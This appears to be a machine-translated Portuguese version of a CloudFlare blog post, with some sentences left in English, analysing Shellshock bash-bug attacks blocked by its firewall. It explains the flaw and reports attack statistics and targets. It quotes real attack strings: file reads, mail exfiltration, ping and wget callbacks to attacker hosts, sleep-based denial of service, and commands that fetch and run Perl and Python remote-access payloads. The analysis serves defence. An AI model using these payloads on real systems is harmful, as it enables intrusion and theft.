On Wednesday of last week, details of the Shellshock bash bug emerged. Este bug começou uma confusão para remendar computadores, servidores, roteadores, firewalls e outros aparelhos de computação usando versões vulneráveis da bash.
No domingo, depois de estudar a extensão do problema, e olhando para registros de ataques parados pelo nosso WAF, decidimos implantar proteção para nossos clientes de plano livre também.
desde então temos monitorado ataques que paramos a fim de entender como eles são, e de onde eles vêm. Com base nas nossas observações, é claro que os hackers estão a explorar a Shellshock em todo o mundo.
(CC BY 2.0 aussiegall)
Eject
The Shellshock problem is an example of an arbitrary code execution (ACE) vulnerability. Tipicamente, ataques de vulnerabilidade ACE são executados em programas que estão em execução, e requerem uma compreensão altamente sofisticada dos internos de execução de código, layout de memória e linguagem de montagem—em suma, este tipo de ataque requer um especialista.
atacante também irá usar uma vulnerabilidade ACE para carregar ou executar um programa que lhes dá uma forma simples de controlar a máquina alvo. Isso é muitas vezes conseguido executando uma “shell”. Shell é uma linha de comando onde comandos podem ser introduzidos e executados.
a vulnerabilidade Shellshock é um grande problema porque remove a necessidade de conhecimento especializado, e fornece uma forma simples (infelizmente, muito simples) de assumir o controle de outro computador (como um servidor web) e torná-lo executar código.suponha por um momento que você queria atacar um servidor web e fazer seu CD ou DVD drive slide aberto. Existe realmente um comando no Linux que fará isso: /bin/eject
. Se um servidor web é vulnerável ao Shellshock, você pode atacá-lo adicionando a string mágica para /bin/eject
e, em seguida, enviando essa string para o computador de destino através de HTTP. Normalmente, o User-Agent
string identificaria o tipo de navegador que você está usando, mas, no caso da vulnerabilidade Shellshock, ele pode ser definido para dizer qualquer coisa.por exemplo, se example.com era vulnerável então
curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
seria o suficiente para realmente fazer o CD ou DVD drive eject.ao monitorizar os ataques de Shellshock que bloqueámos, vimos alguém a tentar precisamente esse ataque. Então, se você executar um servidor web e de repente encontrar um DVD ejetado pode ser uma indicação de que sua máquina é vulnerável a Shellshock.
Why that simple attack works
When a web server receives a request for a page there are three parts of the request that can be susceptible to the Shellshock attack: a URL do pedido, os cabeçalhos que são enviados juntamente com a URL, e o que são conhecidos como “argumentos” (quando você digita o seu nome e endereço em um site da web, ele tipicamente será enviado como argumentos no pedido).
Por exemplo, aqui está uma solicitação HTTP real, que recupera o CloudFlare página inicial:
GET / HTTP/1.1Accept-Encoding: gzip,deflate,sdchAccept-Language: en-US,en;q=0.8,fr;q=0.6Cache-Control: no-cachePragma: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36Host: cloudflare.com
neste caso, a URL é /
(página principal) e os cabeçalhos Accept-Encoding
Accept-Language
, etc. Estes cabeçalhos fornecem ao servidor web informações sobre as capacidades do meu navegador web, a minha língua preferida, o site web que estou à procura e o navegador que estou a usar.
não é incomum que estes sejam transformados em variáveis dentro de um servidor web para que o servidor web possa examiná-los. (O servidor web pode querer saber qual é o meu idioma preferido para que ele possa decidir como responder a mim).
por exemplo, dentro do servidor web respondendo ao pedido para a página inicial CloudFlare é possível que as seguintes variáveis são definidas copiando o caráter de pedido de cabeçalhos por caractere.
HTTP_ACCEPT_ENCODING=gzip,deflate,sdchHTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6HTTP_CACHE_CONTROL=no-cacheHTTP_PRAGMA=no-cacheHTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36HTTP_HOST=cloudflare.com
contanto que essas variáveis permaneçam dentro do software do servidor web, e não sejam passadas para outros programas rodando no servidor web, o servidor não é vulnerável.
Shellshock ocorre quando as variáveis são passadas para o shell chamado “bash”. Bash é uma concha comum usada em sistemas Linux. Servidores Web muitas vezes precisam executar outros programas para responder a um pedido, e é comum que essas variáveis são passadas para bash ou outra shell.
O problema do Shellshock ocorre especificamente quando um atacante modifica o pedido HTTP de origem para conter o magic () { :; };
string discutido acima.
suponha que o atacante mude o cabeçalho User-Agent acima de Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
para simplesmente () { :; }; /bin/eject
. Isto cria a seguinte variável dentro de um servidor web:
HTTP_USER_AGENT=() { :; }; /bin/eject
Se essa variável for passada na bash pelo servidor web, o problema de Shellshock ocorre. Isto porque bash tem regras especiais para lidar com uma variável começando com . Ao invés de tratar a variável HTTP_USER_AGENT
como uma seqüência de caracteres sem significado especial, o bash irá interpretar como um comando que deve ser executado (eu omiti o profundamente técnico explicações do porquê de () { :; };
faz o bash comportar-se assim por uma questão de clareza neste ensaio.)
O problema é que HTTP_USER_AGENT
veio de User-Agent
cabeçalho, que é algo que um invasor controles, porque ele vem para o servidor web em uma solicitação HTTP. E isso é uma receita para o desastre porque um atacante pode fazer um servidor vulnerável executar qualquer comando que quiser (veja exemplos abaixo).
a solução é atualizar bash para uma versão que não interpreta de uma forma especial.
onde os ataques estão vindo de
quando nós rolamos proteção para todos os clientes colocamos em prática uma métrica que nos permitiu monitorar o número de ataques de Shellshock tentado. Todos eles receberam um código de erro HTTP 403 Proibido, mas nós mantivemos um registro de quando eles ocorreram e informações básicas sobre o ataque.este gráfico mostra o número de ataques por segundo em toda a rede CloudFlare desde o lançamento da protecção para todos os clientes.
desde o momento em que a CloudFlare ligou a nossa protecção de Shellshock até ao início desta manhã, estávamos a ver 10 a 15 ataques por segundo. Por ordem de volume de ataque, estes pedidos vinham da França (80%), dos EUA (7%), dos Países Baixos (7%) e, em seguida, de volumes menores provenientes de muitos outros países.
Por volta de 0100 Pacific (1000 em Paris) os ataques da França cessaram. Actualmente, assistimos a cerca de 5 ataques por segundo. Na altura da escrita, bloqueámos mais de 1,1 m de ataques de Shellshock.
Deixe sua imaginação correr solta
Desde a sua tão fácil para atacar máquinas vulneráveis com Shellshock, e porque uma máquina vulnerável irá executar qualquer comando a ele enviado, os atacantes têm de deixar sua imaginação correr solta com maneiras de controlar computadores remotamente.o WAF de CloudFlare regista a razão pela qual bloqueou um pedido que nos permite extrair e analisar as cordas de Shellshock que estão a ser usadas. Shellshock está sendo usado principalmente para reconhecimento: para extrair informações privadas, e para permitir que os atacantes para ganhar o controle de servidores.
a maioria dos comandos Shellshock estão a ser injectados usando o agente de utilizador HTTP e os cabeçalhos de referência, mas os atacantes também estão a usar argumentos GET E POST e outros cabeçalhos HTTP aleatórios.
para extrair informações privadas, Os atacantes estão usando um par de técnicas. Os ataques de extração mais simples são na forma:
() {:;}; /bin/cat /etc/passwd
que lê o arquivo de senha /etc/passwd
, e adiciona-o à resposta do servidor web. Assim, um atacante injetando este código através da vulnerabilidade Shellshock veria o arquivo de senha despejado em sua tela como parte da página web retornada.
em um ataque eles simplesmente enviam arquivos privados para si mesmos. Para obter os dados através de e-mail, os atacantes estão usando o mail
comando como este:
() { :;}; /bin/bash -c \"whoami | mail -s 'example.com l'
o comando é executado pela primeira vez whoami
para descobrir o nome do usuário que executa o servidor web. Isso é especialmente útil porque se o servidor web está sendo executado como root (o superusor que pode fazer qualquer coisa), então o servidor será um alvo particularmente rico.
em seguida, envia o nome de usuário, juntamente com o nome do site que está sendo atacado (example.com acima) via email. O nome do site aparece na linha de assunto do email.
em seu lazer, o atacante pode entrar em seu e-mail e descobrir quais sites eram vulneráveis. A mesma técnica de E-mail pode ser usada para extrair dados como o arquivo de senha.
(CC BY 2.0 JD Hancock)
reconhecimento
de longe o ataque mais popular que vimos (cerca de 83% de todos os ataques) é chamado de “reconhecimento”. Em ataques de reconhecimento, o atacante envia um comando que enviará uma mensagem para uma máquina de terceiros. A máquina de terceiros irá então compilar uma lista de todas as máquinas vulneráveis que a contactaram.
no passado, vimos listas de máquinas comprometidas sendo transformadas em botnets para DDoS, spam, ou outros propósitos.
uma popular técnica de reconhecimento usa o comandoping
para obter uma máquina vulnerável para enviar um único pacote (chamado de ping) para um servidor de terceiros que o atacante controla. A seqüência de caracteres de ataque parecido com este:
() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com
ping
comando é normalmente usado para testar se uma máquina é “vivo” ou on-line (um viva a máquina responde com sua própria ping). Se um servidor web é vulnerável ao Shellshock, então ele irá enviar um único pacote de ping (o -c 1
) para a máquina atacante.com com um conjunto de carga útil pelo -p
. A carga útil é um ID único criado pelo atacante para que eles possam rastrear o ping de volta para o site vulnerável.
outra técnica usada para identificar servidores vulneráveis é fazer o servidor web baixar uma página web de uma máquina controlada pelo atacante. O atacante pode então olhar em seus registros de servidor web para descobrir qual máquina era vulnerável. Este ataque funciona enviando um texto de Shellshock como:
() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null
o atacante procura no registo do servidor web de attacker-controlled.com para entradas. A página baixada é configurada pelo atacante para revelar o nome do site que está sendo atacado. O ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA==
é na verdade um código que indica que o site Atacado foi example.com
ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA==
é na verdade uma string codificada base64. Quando é descodificado, lê-se:
example.comShellShockSalt
a partir desta cadeia, o atacante pode descobrir se o seu ataque por exemplo.com foi bem sucedido, e, em caso afirmativo, eles podem voltar mais tarde para explorar ainda mais esse site. Embora eu tenha substituído o domínio que era o alvo, estamos vendo exemplos reais na natureza usando na verdade ShellShockSalt
como o sal no hash.
Negação de Serviço
Outro Shellshock ataque usa essa cadeia de caracteres
() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20
Ele tenta executar o sleep
comando de três maneiras diferentes (desde sistemas ligeiramente diferentes configurações, o sono pode ser encontrado nos diretórios /bin
ou /sbin
ou /usr/bin
). Seja qual for o tempo de latência, faz com que o servidor espere 20 segundos antes de responder . Isso irá consumir recursos na máquina porque um thread ou processo Executando o sleep
não fará mais nada por 20 segundos.
esta é talvez a negação de serviço mais simples de todos. Os atacantes simplesmente diz à máquina para dormir por um tempo. Enviar um número suficiente desses comandos, e a máquina poderia ser amarrada sem fazer nada e incapaz de atender pedidos legítimos.
(CC BY 2.0 peter castleton)
assumindo o controlo
cerca de 8% dos ataques que vimos até agora têm sido destinados a assumir directamente o controlo de um servidor. Controle remoto ataques olhar como este:
() { :;}; /bin/bash -c \"cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\"
Este comando tenta usar dois programas (wget
e curl
) para o download de um programa a partir de um servidor controlado pelo invasor. O programa é escrito na linguagem Perl, e uma vez baixado ele é executado imediatamente. Este programa configura acesso remoto para um atacante para o servidor web vulnerável.
outro ataque usa a linguagem Python para configurar um programa que pode ser usado para executar remotamente qualquer comando na máquina vulnerável:
() { :;}; /bin/bash -c \"/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\"
The cl.py
program downloaded is made to look like an update to the ClamAV antivirus program. Depois de um atraso de 5 segundos, o ataque limpa depois de si mesmo, removendo o arquivo baixado (deixando-o funcionando apenas na memória).
(CC BY 2.0 Jeff Taylor)
selecção de alvos
olhando para os sites que estão a ser atacados, e os URLs que estão a ser solicitados, é possível fazer uma estimativa das aplicações web específicas que estão a ser atacadas.
as URLs de Topo que vimos atacadas são: / (23.00%), /cgi-bin-sdb/printenv(15.12%), /cgi-mod/index.cgi (14,93%), /cgi-sys/entropysearch.cgi (15.20%) e /cgi-sys/defaultwebpage.cgi (14, 59%). Alguns destes URLs são usados por aplicações web populares e até mesmo um aparelho de hardware.
parece que 23% dos ataques são dirigidos contra o software de controle de hospedagem cPanel web, 15% contra as antigas instalações Apache, e 15% contra os produtos de hardware Barracuda que têm uma interface baseada na web.
o último é interessante porque destaca o fato de que Shellshock não é apenas um ataque em sites da web: é um ataque a qualquer coisa que está executando bash e acessível através da Internet. Isso pode incluir dispositivos de hardware, set-top boxes, Computadores portáteis, até mesmo, talvez, telefones.